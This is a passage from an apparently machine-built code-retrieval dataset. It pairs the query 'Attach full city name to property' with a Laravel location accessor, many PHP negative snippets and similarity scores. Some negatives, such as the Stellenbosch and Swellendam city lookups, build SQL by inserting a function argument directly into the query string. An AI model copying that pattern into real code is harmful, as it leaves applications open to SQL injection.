City();\n\t\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t\t$city->setMunicipality($municipality);\n\t\t\t\t\t\t$city->setCityCode($row['city_code']);\n\t\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t\t$city->setTotalPropertyForSale($row['total_property_forsale']);\n\t\t\t\t\t\t$city->setTotalPropertyToRent($row['total_property_torent']);\n\t\t\t\t\t\t$city->setTotalPropertyOnShow($row['total_property_onshow']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$cities[] = $city; // or array_push($cities, $city);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\treturn $cities;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function actionCountries()\n {\n $salys = Yii::$app->db_prod->createCommand(\"SELECT * FROM salys\")->queryAll();\n foreach ($salys as $salis) {\n $city = new City([\n 'name' => $salis['pavadinimas_lt'],\n 'ansi_name' => $salis['pavadinimas_lt'],\n 'alt_name' => $this->formatCountryAltName($salis),\n 'latitude' => $salis['latitude'],\n 'longitude' => $salis['longitude'],\n 'country_code' => strtoupper($salis['kodas']),\n 'population' => null,\n 'elevation' => null,\n 'timezone' => null,\n 'modification_date' => null,\n ]);\n $city->save();\n }\n\n Cities::addCountries();\n }", "public function departments() : BelongsToMany\n {\n return $this->belongsToMany(Department::class);\n }", "public function countries(){\n return $this->belongsToMany('App\\Models\\Country','banner_country','banner_id','country_id');\n }", "public function getStellenboschCities($municipality_id){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT c.*, m.municipality_name, m.municipality_code, \n\t\t\t\t\t\t m.municipality_id FROM cities c\n\t\t\t\t\t\t LEFT JOIN municipalities m\n\t\t\t\t\t\t ON c.municipality_id = m.municipality_id\n\t\t\t\t\t\t WHERE m.municipality_id = '$municipality_id'\n\t\t\t\t\t\t AND m.municipality_id = '99'\";\n\t\t\t\t$result = $this->conn->query($query);\n\t\t\t\t$cities = array();\n\t\t\t\t\tforeach($result as $row){\n\t\t\t\t\t\t//create municipality object\n\t\t\t\t\t\t$municipality = new Municipality();\n\t\t\t\t\t\t$municipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t\t$municipality->setMunicipalityCode($row['municipality_code']);\n\t\t\t\t\t\t$municipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//create city object\n\t\t\t\t\t\t$city = new City();\n\t\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t\t$city->setMunicipality($municipality);\n\t\t\t\t\t\t$city->setCityCode($row['city_code']);\n\t\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t\t$city->setTotalPropertyForSale($row['total_property_forsale']);\n\t\t\t\t\t\t$city->setTotalPropertyToRent($row['total_property_torent']);\n\t\t\t\t\t\t$city->setTotalPropertyOnShow($row['total_property_onshow']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$cities[] = $city; // or array_push($cities, $city);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\treturn $cities;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function courses()\t{\n\t\treturn $this->hasMany('Course');\n\t}", "public function ciudades()\n\t{\n\t\treturn $this->hasMany('Tricks\\Ciudad');\n\t}", "public function getSwellendamCities($municipality_id){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT c.*, m.municipality_name, m.municipality_code, \n\t\t\t\t\t\t m.municipality_id FROM cities c\n\t\t\t\t\t\t LEFT JOIN municipalities m\n\t\t\t\t\t\t ON c.municipality_id = m.municipality_id\n\t\t\t\t\t\t WHERE m.municipality_id = '$municipality_id'\n\t\t\t\t\t\t AND m.municipality_id = '114'\";\n\t\t\t\t$result = $this->conn->query($query);\n\t\t\t\t$cities = array();\n\t\t\t\t\tforeach($result as $row){\n\t\t\t\t\t\t//create municipality object\n\t\t\t\t\t\t$municipality = new Municipality();\n\t\t\t\t\t\t$municipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t\t$municipality->setMunicipalityCode($row['municipality_code']);\n\t\t\t\t\t\t$municipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//create city object\n\t\t\t\t\t\t$city = new City();\n\t\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t\t$city->setMunicipality($municipality);\n\t\t\t\t\t\t$city->setCityCode($row['city_code']);\n\t\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t\t$city->setTotalPropertyForSale($row['total_property_forsale']);\n\t\t\t\t\t\t$city->setTotalPropertyToRent($row['total_property_torent']);\n\t\t\t\t\t\t$city->setTotalPropertyOnShow($row['total_property_onshow']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$cities[] = $city; // or array_push($cities, $city);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\treturn $cities;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}" ]
[ "0.77895033", "0.77895033", "0.7664179", "0.7586", "0.7540093", "0.7405049", "0.73599833", "0.70142865", "0.6946445", "0.6938251", "0.66974854", "0.6624072", "0.66153616", "0.6605537", "0.65749604", "0.6564918", "0.6504827", "0.6482067", "0.6482067", "0.6480766", "0.64484245", "0.64484245", "0.64484245", "0.64484245", "0.6431905", "0.63780385", "0.63451785", "0.63451785", "0.63451785", "0.63451785", "0.6277849", "0.61946064", "0.6064774", "0.5831796", "0.58172953", "0.5806333", "0.5804041", "0.57290757", "0.5671014", "0.56339896", "0.5584103", "0.55579495", "0.5556464", "0.5511397", "0.5485009", "0.54782236", "0.5475898", "0.54671836", "0.5442736", "0.54362696", "0.5434799", "0.5387334", "0.53766245", "0.5351315", "0.5343799", "0.5327011", "0.53245217", "0.53193724", "0.5316252", "0.5289869", "0.5246438", "0.52445483", "0.52320796", "0.52263623", "0.5225905", "0.5222775", "0.52226526", "0.52181065", "0.5210554", "0.51924855", "0.51587385", "0.51547366", "0.51067054", "0.5104463", "0.5093309", "0.50883716", "0.50814545", "0.50685513", "0.5046943", "0.50424707", "0.50376415", "0.50372314", "0.50350356", "0.502986", "0.50279814", "0.5019183", "0.5014269", "0.50134", "0.50095576", "0.5006085", "0.50043625", "0.49951443", "0.49862856", "0.4986261", "0.49759156", "0.49736556", "0.49718487", "0.49692032", "0.4962611", "0.4956394" ]
0.6542984
16
Attach full city name to property.
public function location() { $city = $this->city; if ($city) { $subdivision = $city->subdivision; $country = $subdivision->country; $this->attributes['location'] = $city->name . ' ' . $subdivision->abbreviation . ', ' . $country->name; } else { $this->attributes['location'] = null; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function giveCity()\n {\n return \"Luanda minha CIDADE\";\n }", "public function getCityNameAttribute()\n {\n return $this->city->city;\n }", "public function getCityNameAttribute()\n {\n return $this->city->name;\n }", "protected function giveCity()\n\t{\n\t\treturn \"Orland\";\n\t}", "function setCity($city) {\r\r\n\t\t$this->city = $city;\r\r\n\t}", "public function setCity($newCity){\n\t}", "public function getCityNameAttribute()\n {\n return $this->city->getCityName();\n }", "public function setCity($city = \"\");", "public function setCity(string $city): void\n {\n $this->_city = $city;\n }", "public function setFullName() {\n $this->fullname = $this->name . ' ' . $this->surname . ' ' . $this->phone;\n }", "public function getLocationNameAttribute()\n {\n return $this->hasGeoip() ? $this->geoip->country.' '.$this->geoip->city : 'undefined';\n }", "public function setCity($city)\r\n {\r\n $this->_city = $city;\r\n }", "public function setCity($city)\n {\n $this->json()->city = $city;\n }", "public function getCityName()\n {\n return $this->getValue('nb_icontact_prospect_city_name');\n }", "public function testSetGetCityName()\n {\n $cityName = 'Cologne';\n\n $location = new Location();\n\n $this->assertSame($location, $location->setCityName($cityName));\n $this->assertEquals($cityName, $location->getCityName());\n }", "public function setCity($city)\n {\n $this->city = $city;\n }", "public function setCity($city)\n {\n $this->city = $city;\n }", "public function setCity($city) {\n\t\t$this->city = $city;\n\t}", "public function city(): string\n {\n return $this->getData('CityName');\n }", "public function getCity()\n {\n return parent::getValue('city');\n }", "public function setCity($value) {\n\t\tself::$_city = $value;\n\t}", "public function addNewPersonToCity()\n {\n }", "public function getCity() :string\n {\n return $this->city;\n }", "public function setCityName(string $city_name = null) : CNabuDataObject\n {\n $this->setValue('nb_icontact_prospect_city_name', $city_name);\n \n return $this;\n }", "public function getCountryNameAttribute()\n {\n return $this->city->country->country;\n }", "public function getCity(): string\n {\n return $this->result->city_name;\n }", "public function __construct($city)\n {\n $this->city = $city;\n }", "public function setCity($v)\n\t{\n\t\tif ($v !== null) {\n\t\t\t$v = (string) $v;\n\t\t}\n\n\t\tif ($this->city !== $v) {\n\t\t\t$this->city = $v;\n\t\t\t$this->modifiedColumns[] = VenuePeer::CITY;\n\t\t}\n\n\t\treturn $this;\n\t}", "public function setRecipientCityName($value)\n {\n return $this->set('RecipientCityName', $value);\n }", "public function getCity() \n {\n return $this->city;\n }", "public function getCity() {}", "function _create_proper_name_field() {\r\n global $locale;\r\n $full_name = $locale->getLocaleFormattedName($this->first_name, $this->last_name, $this->salutation);\r\n $this->name = $full_name;\r\n $this->full_name = $full_name; \r\n\r\n\t}", "public function showCity(){\n\n return $this->getPostData()['novaposhta_city_custom_field'];\n\n }", "public function addNewCity($latitude,$lng,$detail_city){\r\n\t\t}", "public function setCustomerCity($customerCity = '') {\n $city = array(\n 'x_city'=>$this->truncateChars($customerCity, 40),\n );\n $this->NVP = array_merge($this->NVP, $city); \n }", "private function updateFullName()\n\t{\n\t\t$parentCat = $this->getParentCategory();\n\t\t\t\n\t\tif ($parentCat)\n\t\t{\n\t\t\t$this->setFullName($parentCat->getFullName() . categoryPeer::CATEGORY_SEPARATOR . $this->getName());\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->setFullName($this->getName());\n\t\t}\n\t\t\n\t\t$this->validateFullNameIsUnique();\n\t}", "public function setCity($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->city !== $v) {\n $this->city = $v;\n $this->modifiedColumns[] = EventPeer::CITY;\n }\n\n\n return $this;\n }", "public function set_full_name($full_name=\"\"){\n $this->full_name = $full_name;\n }", "public function setCity($city) \n {\n $this->city = $city;\n\n return $this;\n }", "function getCity() {\r\r\n\t\treturn $this->city;\r\r\n\t}", "public function setCity(string $city)\n {\n $this->City = $city;\n return $this;\n }", "public function setCity(?string $city): self\n {\n $this->initialized['city'] = true;\n $this->city = $city;\n\n return $this;\n }", "public function setShippingCity($shippingCity = '') {\n $city = array(\n 'x_ship_to_city'=>$this->truncateChars($shippingCity, 40),\n );\n $this->NVP = array_merge($this->NVP, $city); \n }", "public function update($name)\n {\n foreach ($this->content as $key => $val) {\n if ($val['name'] == $name) {\n $this->content[$key]['city'] = \"siwan\";\n }\n }\n }", "public function setCity($value)\n {\n parent::setValue('city', $value);\n\n return $this;\n }", "public function getCity()\r\n {\r\n return $this->city;\r\n }", "public function getCity()\r\n {\r\n return $this->city;\r\n }", "public function getCity()\r\n {\r\n return $this->city;\r\n }", "public function getCityName(): string\n {\n return $this->make_firebase_connection()\n ->firstWhere('city_id', Auth::user()->city_id)['city_name'];\n }", "public function __construct($city=\"\",$country=\"\"){\n\t \t$this->_city = $city;\n\t\t// TODO $this->country = ucfirst(strtolower(Common::myUrlEncode($country)););\n\t \t$this->_country = $country;\n\t}", "public function testCanSetAndGetCity()\n {\n $mockCity = 'Corpus Christi';\n\n $this->dataCenter->setCity($mockCity);\n\n $this->assertEquals($mockCity, $this->dataCenter->getCity());\n }", "public function __construct(City $city)\n {\n $this->city = $city;\n }", "public function setItemName()\n {\n if ($product = $this->product) {\n $name = $product->productPrint->name;\n $name = $product->mailingOption->name . ' ' . $name;\n $name = $name . ' ' . $product->stockOption->name;\n $this->name = $name;\n $this->save();\n }\n }", "public function getCity();", "public static function cityName() {\n\t\treturn static::randomElement(static::$cityNames);\n\t}", "public function getCity() {\n \tif($this->city == null)\n\t\t\treturn \"\";\n\t\telse\n \treturn $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getStreetName();", "function city_name(){\n\tif(isset($_GET[\"expansion\"])){\n\t\treturn ucwords(str_replace(\"-\", \" \", $_GET[\"expansion\"]));\n\t}else{\n\t\treturn \"\";\n\t}\n}", "public function __toString()\n {\n return $this->locality;\n }", "public function getNameAttribute()\n {\n return $this->location->name;\n }", "public function setCity($value)\n {\n return $this->set('City', $value);\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->city;\n }", "function fill_in_additional_detail_fields()\n {\n parent::fill_in_additional_detail_fields();\n $this->project_name = $this->_get_project_name($this->project_id);\n $this->resource_name = $this->getResourceName();\n }", "public function getCity(){\r\n\t\treturn $this->city;\r\n\t}", "public function postCity($cityDetail)\n {\n \n }", "public function getCity()\n {\n return (string) $this->json()->city;\n }", "public function getCity()\r\n {\r\n return $this->_city;\r\n }", "public function city()\n {\n return $this->belongsTo('App\\models\\addressCityModel', 'city_id');\n }", "public function setFullNameAttribute($name)\n {\n $parts = explode(' ', $name);\n $this->first_name = $parts[0];\n $this->last_name = $parts[count($parts) - 1];\n }", "public function city( ) {\n return $this->belongsTo('App\\Http\\Models\\City', 'city_id', 'id');\n }", "public function setCity(string $city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity(string $city)\n {\n $this->city = $city;\n\n return $this;\n }", "public function setCity($city)\n {\n $this->setParameter('city', $city);\n\n return $this;\n }", "public function getFullAddressAttribute(){\n\n \treturn \"{$this->street} {$this->number}. {$this->dept}{$this->floor} - ({$this->postal_code}). {$this->city} - {$this->country}\";\n }", "public function getCity(): ?String\n {\n return $this->city;\n }", "public function get_formatted_name() {\n\n\t\t\t/**\n\t\t\t * FILTER: slp_formatted_location_name_elements\n\t\t\t *\n\t\t\t * @params string[] and array of the property names we want to use to build the string.\n\t\t\t *\n\t\t\t * @return string[] modified list of property names\n\t\t\t */\n\t\t\t$name_parts = apply_filters( 'slp_formatted_location_name_elements', array(\n\t\t\t\t'store',\n\t\t\t\t'city',\n\t\t\t\t'state',\n\t\t\t\t'country',\n\t\t\t) );\n\n\t\t\t// Get the valid non-empty properties.\n\t\t\t//\n\t\t\t$valid_parts = array();\n\t\t\tforeach ( $name_parts as $property ) {\n\t\t\t\tif ( property_exists( $this, $property ) && ( ! empty ( $this->$property ) ) ) {\n\t\t\t\t\t$valid_parts[] = $this->$property;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * FILTER: slp_formatted_location_name_separator\n\t\t\t *\n\t\t\t * @params string the separator for the name defaults to a space\n\t\t\t *\n\t\t\t * @return string the modified separator used for the join\n\t\t\t */\n\t\t\t$part_separator = apply_filters( 'slp_formatted_location_name_separator', ' ' );\n\n\t\t\t/**\n\t\t\t * FILTER: slp_formatted_location_name\n\t\t\t *\n\t\t\t * @params string the formatted name\n\t\t\t *\n\t\t\t * @return string the modified name\n\t\t\t */\n\t\t\treturn apply_filters( 'slp_formatted_location_name', join( $part_separator, $valid_parts ) );\n\t\t}", "public function getFullAddressAttribute()\n {\n return $this->street.' '.$this->city.', '.$this->state.' '.$this->zipcode;\n }", "public function getCity()\n {\n return $this;\n }" ]
[ "0.63906837", "0.6195338", "0.6177446", "0.61548555", "0.6044146", "0.5957114", "0.5931086", "0.59091157", "0.588481", "0.5863296", "0.5848821", "0.58161545", "0.5746712", "0.57146925", "0.56994116", "0.5654224", "0.5654224", "0.56534785", "0.5640592", "0.55993", "0.5580893", "0.55781114", "0.5523883", "0.5523137", "0.5516688", "0.5497825", "0.5472579", "0.5469405", "0.5463752", "0.5397921", "0.53826946", "0.53785753", "0.5360236", "0.5343577", "0.5329272", "0.5307826", "0.5297903", "0.5281277", "0.52617663", "0.5218124", "0.5204001", "0.5198811", "0.51872444", "0.51801574", "0.5169653", "0.51264495", "0.51264495", "0.51264495", "0.51190746", "0.51157284", "0.5112996", "0.51109767", "0.5102188", "0.5101203", "0.5095231", "0.5094264", "0.5082538", "0.5075872", "0.5063247", "0.5053408", "0.50473726", "0.50412315", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.50266135", "0.5025057", "0.50195134", "0.5012998", "0.5012618", "0.50107044", "0.5008349", "0.500711", "0.4993483", "0.49912196", "0.49912196", "0.49886554", "0.49880883", "0.49832058", "0.49641547", "0.49576813", "0.4957328" ]
0.65257925
0
Attach ids of amenities that belong to the property.
public function amenityIds() { $this->attributes['amenityIds'] = $this->amenities->pluck('id'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function amenities()\n {\n return $this->belongsToMany('App\\Models\\Properties\\Amenity');\n }", "public function amenities()\n {\n return $this->belongsToMany(\n 'App\\Amenity', 'listing_amenities', 'listing_id', 'amenity_id'\n )->select(['id', 'title', 'icon']);\n }", "public function setAgents() {\n foreach ($this->rAgents as $value) {\n $this->agent[$value->id] = $value->id;\n }\n }", "protected function set_product_ids() {\n\n\t\t// get the products selected for the report\n\t\t$this->product_ids = isset( $_GET['product_ids'] ) ? array_filter( array_map( 'absint', (array) $_GET['product_ids'] ) ) : array();\n\t}", "public function store(StoreAidUsersRequest $request)\n {\n if(!auth()->user()->hasPermissionTo('assign_aid_create')) $this->deny();\n\n $user = User::findOrFail($request->user_id);\n\n foreach ($request->aid_id as $id)\n $user->aids()->attach($id);\n\n return redirect()->route('admin.assign_aids.index');\n }", "function addAttendeesIDs($attendees) {\n foreach ($attendees as &$attendee){\n $attendee = addAttendeeID($attendee);\n }\n return $attendees;\n}", "public function utilityIds()\n {\n $this->attributes['utilityIds'] = $this->utilities->pluck('id');\n }", "function cc_insert_agencies(){\n\t\n\t// 1. recupero elenco di tutti gli immobili\n\t$args = array(\n\t 'numberposts' => -1,\n\t 'post_type' => 'property'\n\t);\n\n\t$immobili = get_posts( $args );\t\n\t\n\t// 2. loop immobili trovati\n\tif($immobili){\n\t\tforeach($immobili as $immobile){\n\t\t\t$idimmobile = (int) $immobile->ID;\n\t\t\t$rif = (string) get_post_meta($idimmobile, \"fave_property_id\", true);\n\t\t\t\n\t\t\techo $idimmobile . \" => \" . $rif;\n\t\t\t\n\t\t\t// 3. richiamo cc_get_agency passando codice immobile, questo mi resistuisce agente, agenzia e user del record\n\t\t\t$aau = cc_get_agency($rif);\n\t\t\t\n\t\t\tif(!empty($aau['fave_property_agency'])) update_post_meta($idimmobile, 'fave_property_agency', $aau['fave_property_agency']);\n\t\t\tif(!empty($aau['fave_agents'])) update_post_meta($idimmobile, 'fave_agents', $aau['fave_agents']);\n\t\t\tif(!empty($aau['post_author'])){\n\t\t\t\t\n\t\t\t\t$arg = array(\n\t\t\t\t\t'ID' => $idimmobile,\n\t\t\t\t\t'post_author' => $aau['post_author'],\n\t\t\t\t);\n\t\t\t\twp_update_post( $arg );\t\t\t\t\n\t\t\t\t\n\t\t\t} // end if post_author\t\t\n\t\t\t\n\t\t\techo \" agenzia: \".$aau['fave_property_agency']. \" - agente: \" . $aau['fave_agents'] . \" - author: \" . $aau['post_author'] . \"<br>\\n\";\n\t\t\t\n\t\t} // end foreach\n\t\t$n = count($immobili);\n\t\techo \"Updated \".$n.\" properties.\";\n\t\tdie();\n\t} // end if immobili\t\t\n\t\n}", "public function setIds($arrIds);", "public function limpaArrayIdsObjetosManipulados()\n {\n \t// limpando o array de ids de objetos manipulados\n \t$this->_arrayObjetosManipulados = array();\n }", "public function setMultipleWishlistId($id);", "public function updateRelation($roles,$id){\n $this->removeRoles();\n \n foreach($roles as $role) {\n switch($role)\n {\n // Admin\n case 1:\n $this->attachRole(Role::find(1));\n break;\n\n // Manager \n case 2:\n $manager = array('manager_id' => $id);\n DB::table('manager_user')->insert($manager);\n $this->attachRole(Role::find(2));\n break;\n\n // Member \n case 3:\n $member = array('member_id' => $id);\n DB::table('member_user')->insert($member);\n $this->attachRole(Role::find(3));\n break;\n\n default:\n break;\n } \n }\n \n }", "public function save() {\n foreach($this->getMenuItems() as $item){\n $item->setMenu($this);\n $item->save();\n }\n parent::save();\n }", "public function relatedIdItems()\n {\n $query = Menu::find();\n if ($this->menuRelatedType != self::ALL_MENU_TYPES) {\n $query->andWhere(['type' => $this->menuRelatedType]);\n }\n if ($this->menuRelatedLevel != self::ALL_MENU_LEVELS) {\n $query->andWhere(['level' => $this->menuRelatedLevel]);\n }\n\n $relatedIdnotin = [];\n\n if ($this->relatedType == ArticleType::RELATE_MENU_UNIQUE) {\n $relatedIdnotin = ArticleRelate::find()->select('related_id')->where(['type_id' => ArticleType::RELATE_MENU_UNIQUE])->column();\n }\n\n // exclude related id for edit themself\n if ($this->scenario == self::SCENARIO_EDIT && $this->relatedId) {\n unset($relatedIdnotin[array_search($this->relatedId, $relatedIdnotin)]);\n }\n\n if ($relatedIdnotin) {\n $query->andWhere(['not in', 'id', $relatedIdnotin]);\n }\n\n $items = ArrayHelper::map($query->asArray()->all(), 'id', 'title');\n return $items;\n }", "public function setMenus(Request $request){\n\n $this->validate($request,[\n 'menus' => 'required|array',\n 'paciente_id' => 'required'\n ]);\n\n $paciente = $request->input('paciente_id');\n $menus = $request->input('menus');\n foreach ($menus as $menu ){\n DB::table('det_pac_men')->insert(\n ['menu_id' => $menu, 'paciente_id' => $paciente]\n );\n }\n return response()->json([\n 'status' => 'OK',\n 'code' => 200,\n 'result' => \"Se asigno menu\"\n ],200)\n ->header('Access-Control-Allow-Origin','*')\n ->header('Content-Type', 'application/json');\n\n }", "protected static function addOrEditPropertiesToDB($properties)\n {\n\n if (is_array($properties) && !empty($properties)) {\n foreach ($properties['properties'] as $property) {\n $checkExistence = DB::select(\n \"SELECT `property_id` FROM `apimo_properties` WHERE property_id = ?\",\n [$property['id']]\n );\n if (empty($checkExistence)) {\n DB::insert(\n 'INSERT INTO `apimo_properties` ( `property_id`, `agency`, `reference`, `status`, `user`, `step`, `parent`, `category`, `subcategory`, `name`, `type`, `subtype`, `agreement`, `block_name`, `address`, `address_more`, `publish_address`, `country`, `city`, `district`, `longitude`, `latitude`, `radius`, `area_unit`, `area_surface`, `rooms`, `bedrooms`, `sleeps`, `price`, `price_max`, `price_period`, `price_currency`, `residence`, `view`, `landscape`, `floor`, `heating`, `water`, `condition`, `standing`, `style`, `construction_year`, `renovation_year`, `available_at`, `delivered_at`, `activities`, `orientations`, `services`, `proximities`, `tags`, `tags_customized`, `pictures`, `areas`, `regulations`, `created_at`, `updated_at`)\n VALUES ( :property_id, :agency, :reference, :status, :user, :step, :parent, :category, :subcategory, :name, :type, :subtype, :agreement, :block_name, :address, :address_more, :publish_address, :country, :city, :district, :longitude, :latitude, :radius, :area_unit, :area_surface, :rooms, :bedrooms, :sleeps, :price, :price_max, :price_period, :price_currency, :residence, :view, :landscape, :floor, :heating, :water, :condition, :standing, :style, :construction_year, :renovation_year, :available_at, :delivered_at, :activities, :orientations, :services, :proximities, :tags, :tags_customized, :pictures, :areas, :regulations, :created_at, :updated_at)',\n [\n 'property_id' => $property['id'],\n 'agency' => $property['user']['agency'],\n 'reference' => $property['reference'],\n 'status' => $property['status'],\n 'user' => $property['user']['id'],\n 'step' => $property['step'],\n 'parent' => $property['parent'],\n 'category' => $property['category'],\n 'subcategory' => $property['subcategory'],\n 'name' => $property['name'],\n 'type' => $property['type'],\n 'subtype' => $property['subtype'],\n 'agreement' => $property['agreement']['type'],\n 'block_name' => $property['block_name'],\n 'address' => $property['address'],\n 'address_more' => $property['address_more'],\n 'publish_address' => $property['publish_address'],\n 'country' => $property['country'],\n 'city' => self::addOrUpdateCity($property['city']),\n 'district' => self::addOrUpdateDistrict($property['district']),\n 'longitude' => $property['longitude'],\n 'latitude' => $property['latitude'],\n 'radius' => $property['radius'],\n 'area_unit' => $property['area']['unit'],\n 'area_surface' => ((!empty($property['area']['value']) || !empty($property['area']['total'])) ? (($property['area']['value'] < $property['area']['total']) ? $property['area']['total'] : $property['area']['value']) : 0),\n 'rooms' => $property['rooms'],\n 'bedrooms' => $property['bedrooms'],\n 'sleeps' => $property['sleeps'],\n 'price' => ((isset($property['price']['value']) && !empty($property['price']['value'])) ? $property['price']['value'] : 0),\n 'price_max' => ((isset($property['price']['max']) && !empty($property['price']['max'])) ? $property['price']['max'] : 0),\n 'price_period' => ((isset($property['price']['period']) && !empty($property['price']['period'])) ? $property['price']['period'] : ''),\n 'price_currency' => ((isset($property['price']['currency'])) ? $property['price']['currency'] : ''),\n 'residence' => self::addOrUpdateResidence($property['residence']),\n 'view' => self::addOrUpdateView($property['view'], $property['id']),\n 'landscape' => (!empty($property['view']['landscape']) ? implode(',', $property['view']['landscape']) : ''),\n 'floor' => self::addOrUpdateFloor($property['floor'], $property['id']),\n 'heating' => self::addOrUpdateHeating($property['heating'], $property['id']),\n 'water' => self::addOrUpdateWater($property['water'], $property['id']),\n 'condition' => $property['condition'],\n 'standing' => $property['standing'],\n 'style' => $property['style']['name'],\n 'construction_year' => $property['construction_year'],\n 'renovation_year' => $property['renovation_year'],\n 'available_at' => $property['available_at'],\n 'delivered_at' => $property['delivered_at'],\n 'activities' => (!empty($property['activities']) ? implode(\n ',',\n $property['activities']\n ) : ''),\n 'orientations' => (!empty($property['orientations']) ? implode(\n ',',\n $property['orientations']\n ) : ''),\n 'services' => (!empty($property['services']) ? implode(',', $property['services']) : ''),\n 'proximities' => (!is_null($property['proximities']) ? implode(\n ',',\n $property['proximities']\n ) : ''),\n 'tags' => (!empty($property['tags']) ? implode(',', $property['tags']) : ''),\n 'tags_customized' => (!empty($property['tags_customized']) ? implode(\n ',',\n $property['tags_customized']\n ) : ''),\n 'pictures' => self::addOrUpdatePictures($property['pictures']),\n 'areas' => self::addOrUpdateAreas($property['areas'], $property['id']),\n 'regulations' => self::addOrUpdateRegulations($property['regulations'], $property['id']),\n 'created_at' => $property['created_at'],\n 'updated_at' => $property['updated_at'],\n ]\n );\n self::addOrUpdateUser($property['user']);\n self::addOrUpdateComments($property['comments'], $property['id']);\n self::setPropertyHash($property);\n } else {\n if (self::checkPropertyUpdateByHash($property)) {\n DB::update(\n 'UPDATE `apimo_properties` SET \n `agency`= :agency, \n `reference`= :reference, \n `status`= :status, \n `user` = :user, \n `step` = :step, \n `parent` = :parent, \n `category` = :category, \n `subcategory` = :subcategory, \n `name` = :name, \n `type` = :type, \n `subtype` = :subtype,\n `agreement` = :agreement, \n `block_name` = :block_name, \n `address` = :address, \n `address_more` = :address_more, \n `publish_address` = :publish_address, \n `country` = :country, \n `city` = :city, \n `district` = :district, \n `longitude` = :longitude, \n `latitude` = :latitude, \n `radius` = :radius, \n `area_unit` = :area_unit, \n `area_surface` = :area_surface, \n `rooms` = :rooms, \n `bedrooms` = :bedrooms, \n `sleeps` = :sleeps, \n `price` = :price, \n `price_max` = :price_max, \n `price_period` = :price_period, \n `price_currency` = :price_currency, \n `residence` = :residence, \n `view` = :view, \n `landscape = :landscape, \n `floor` = :floor, \n `heating` = :heating, \n `water` = :water, \n `condition` = :condition, \n `standing` = :standing, \n `style` = :style, \n `construction_year` = :construction_year, \n `renovation_year` = :renovation_year, \n `available_at` = :available_at, \n `delivered_at` = :delivered_at, \n `activities` = :activities, \n `orientations` = :orientations, \n `services` = :services, \n `proximities` = :proximities, \n `tags` = :tags, \n `tags_customized` = :tags_customized, \n `pictures` = :pictures, \n `areas` = :areas, \n `regulations` =:regulations,\n `created_at` = :created_at, \n `updated_at` = :updated_at \n WHERE property_id = :property_id',\n [\n 'property_id' => $property['id'],\n 'agency' => $property['user']['agency'],\n 'reference' => $property['reference'],\n 'status' => $property['status'],\n 'user' => $property['user']['id'],\n 'step' => $property['step'],\n 'parent' => $property['parent'],\n 'category' => $property['category'],\n 'subcategory' => $property['subcategory'],\n 'name' => $property['name'],\n 'type' => $property['type'],\n 'subtype' => $property['subtype'],\n 'agreement' => $property['agreement']['type'],\n 'block_name' => $property['block_name'],\n 'address' => $property['address'],\n 'address_more' => $property['address_more'],\n 'publish_address' => $property['publish_address'],\n 'country' => $property['country'],\n 'city' => self::addOrUpdateCity($property['city']),\n 'district' => self::addOrUpdateDistrict($property['district']),\n 'longitude' => $property['longitude'],\n 'latitude' => $property['latitude'],\n 'radius' => $property['radius'],\n 'area_unit' => $property['area']['unit'],\n 'area_surface' => ((!empty($property['area']['value']) || !empty($property['area']['total'])) ? (($property['area']['value'] < $property['area']['total']) ? $property['area']['total'] : $property['area']['value']) : 0),\n 'rooms' => $property['rooms'],\n 